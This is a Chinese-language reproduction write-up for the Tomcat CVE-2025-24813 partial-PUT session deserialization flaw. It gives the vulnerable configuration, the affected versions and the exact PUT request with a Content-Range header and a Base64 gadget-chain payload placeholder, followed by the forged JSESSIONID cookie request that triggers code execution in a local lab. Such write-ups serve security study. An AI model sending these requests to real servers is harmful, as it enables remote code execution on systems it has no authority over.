____ _ _ _____ ____ ___ ____ ____ ____ _ _ ___ _ _____
/ ___| \ / | ____| |___ \ / _ \|___ \| ___| |___ \| || | ( _ )/ |___ /
| | \ \ / /| _| _____ __) | | | | __) |___ \ _____ __) | || |_ / _ \| | |_ \
| |___ \ V / | |__|_____/ __/| |_| |/ __/ ___) |_____/ __/|__ _| (_) | |___) |
\____| \_/ |_____| |_____|\___/|_____|____/ |_____| |_| \___/|_|____/
一、漏洞概况
1. 利用条件
-
不安全的 Servlet 配置:目标应用的
DefaultServlet被错误配置为允许写入操作(默认禁用) -
支持分片传输:服务器支持
PUT请求及Range头处理,允许攻击者向现有文件追加或修改特定内容的序列化数据(默认启用) -
基于文件的会话持久化:应用启用了 Tomcat 的文件会话存储机制,且存储路径未做修改,使用默认位置(额外配置)
-
存在反序列化利用链:应用的
CLASSPATH中包含存在反序列化漏洞的第三方依赖库(如commons-collections)
在该漏洞的实际利用过程中,攻击的可行性会受到目标环境 Java 版本的显著影响
较新版本的 JDK(如 JDK 9 及更高版本)引入了更严格的模块系统和强封装性,这些机制限制了对 Java 内部 API 的非授权反射访问,从而破坏了依赖于访问私有或内部类的反序列化利用链的执行路径
因此,特定的攻击载荷可能在老版本 JDK(如 JDK 8)上成功执行,但在升级后的 JDK 版本上会因权限检查失败而被阻断
2. 影响范围
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
3. 原理分析
在处理 HTTP PUT 请求时,Content-Range 请求头主要用于管理文件的分块传输和断点续传。在文件上传尚未完成的情况下,Tomcat 会将接收到的数据存储在工作目录($CATALINA_BASE/work/Catalina/localhost/ROOT)中作为临时文件
该漏洞的利用核心在于服务器在处理 不完整 PUT 请求 时,其 URI 到临时文件名的转换逻辑存在安全缺陷,文件路径分隔符 / 会被替换为 .。例如:访问 /xxxxx/session 会被解析为 .xxxxx.session
整个漏洞利用过程:
- Tomcat 的文件会话默认存储路径同样位于
$CATALINA_BASE/work/Catalina/localhost/ROOT - 发送不完整 PUT 请求上传包含恶意序列化数据的文件,将其存储到
CATALINA_BASE/work/Catalina/localhost/ROOT并伪造为session文件(.xxxxx.session) - 设置
JSESSIONID=.xxxxx使 Tomcat 反序列化.xxxxx.session并执行恶意代码,以达到任意命令执行的目的
二、漏洞复现
1. 环境准备
2. 环境配置
-
将 JDK 8 配置为环境变量
-
将
commons-collections-3.2.1.jar放入webapps/ROOT/WEB-INF/bin中,以确保其被加载到应用的CLASSPATH中 -
在
conf/context.xml中,添加如下额外配置,开启文件会话存储
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
- 在
conf/web.xml中,将 DefaultServlet 的 readonly 配置为 false,允许写入操作
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
...
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
...
</servlet>
各配置项的功能与详细说明,请参考 [补充内容](# 三、补充内容)
3. 复现流程
执行 ./bin/startup.bat 启动 Tomcat(Linux 执行 ./bin/startup.sh),成功访问 http://localhost:8080

利用 Java Chains 生成 K1 利用链 Base64 载荷

使用 Yakit Web Fuzzer 发送不完整 PUT 请求,在请求体中插入 Base64 解码标签和 Payload

Content-Range 请求头的基本格式如下:
Content-Range: <unit> <range-start>-<range-end>/<total-size>
<unit>:范围的计量单位(bytes)<range-start>:包含的范围起始字节位置<range-end>:包含的范围结束字节位置<total-size>:完整文件的总字节数
PUT /xxxxx/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{base64dec(Base64 Payload)}}
PUT 请求发送成功后会在 $CATALINA_BASE/work/Catalina/localhost/ROOT 生成 .xxxxx.session(/ 会被转换为 .)
携带伪造的 JSESSION=.xxxxx 发起 GET 请求,服务器会反序列化 .xxxxx.session 并通过 K1 利用链执行任意命令

GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.xxxxx
依次发送两个请求后会弹出计算器程序,证明漏洞利用成功
三、补充内容
1. 文件会话存储配置
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
<Manager className="...PersistentManager">:使用PersistentManager作为 Session 管理器<Store className="...FileStore"/>:用文件系统当作存储介质,把 Session 序列化后写到磁盘文件里
当 webapps/ROOT/WEB-INF 中有如下 session-test.jsp
<%
HttpSession s = request.getSession();
Object name = s.getAttribute("username");
if (name == null) {
s.setAttribute("username", "Tom");
name = "Tom (newly created)";
} else {
name = name + " (restored)";
}
%>
Session ID: <%= s.getId() %><br>
Username: <%= name %><br>
Is New Session: <%= s.isNew() %><br>
./bin/startup.bat:启动 Tomcat(Linux 执行./bin/startup.sh)./bin/shutdown.bat:关闭 Tomcat(Linux 执行./bin/shutdown.sh)
未启用文件会话存储机制:
启动 Tomcat,访问 http://localhost:8080/session-test.jsp
Session ID: 18DAF3CB7B1EAB4E64ACA072BF6406AC
Username: Tom (newly created)
Is New Session: true
关闭 Tomcat,$CATALINA_BASE/work/Catalina/localhost/ROOT 目录下生成 SESSION.ser 文件
再次启动 Tomcat,该 ser 文件被删除并加载到程序中,再次访问 http://localhost:8080/session-test.jsp
Session ID: 18DAF3CB7B1EAB4E64ACA072BF6406AC
Username: Tom (restored)
Is New Session: false
启用文件会话存储机制:
启动 Tomcat,访问 http://localhost:8080/session-test.jsp
Session ID: AF7ABC399649C8CBD0C4DE8E39BB0BF4
Username: Tom (newly created)
Is New Session: true
关闭 Tomcat,$CATALINA_BASE/work/Catalina/localhost/ROOT 目录下生成相应的 session 文件 AF7ABC399649C8CBD0C4DE8E39BB0BF4.session
再次启动 Tomcat,该 session 文件被删除并加载到程序中,再次访问 http://localhost:8080/session-test.jsp
Session ID: AF7ABC399649C8CBD0C4DE8E39BB0BF4
Username: Tom (restored)
Is New Session: false
两种配置的区别:
观察到两种配置在重启 Tomcat 前后其 session 都没有改变,但未启用文件会话存储机制只会在正常关闭 Tomcat 时将所有的 session 写入到一个快照文件 SESSION.ser 以便重启 Tomcat 时恢复 session,而启用文件会话存储机制会在运行期间自动 swap session 到磁盘,并且所有的 session 都存在有单独的文件 {session id}.session
2. Servlet 写入操作配置
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
...
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
...
</servlet>
当 webapps/ROOT/files 中有如下 hello.txt
Hello World!
发送如下 HTTP PUT 请求尝试修改 hello.txt 的内容
PUT /files/hello.txt HTTP/1.1
Host: localhost:8080
Content-Length: 22
This is a new content.
readonly 为 true(默认配置):
返回 405 响应状态码(方法不允许),查看 hello.txt 文件未被修改

readonly 为 false:
返回 204 响应状态码,查看 hello.txt 文件被修改

参考文章:
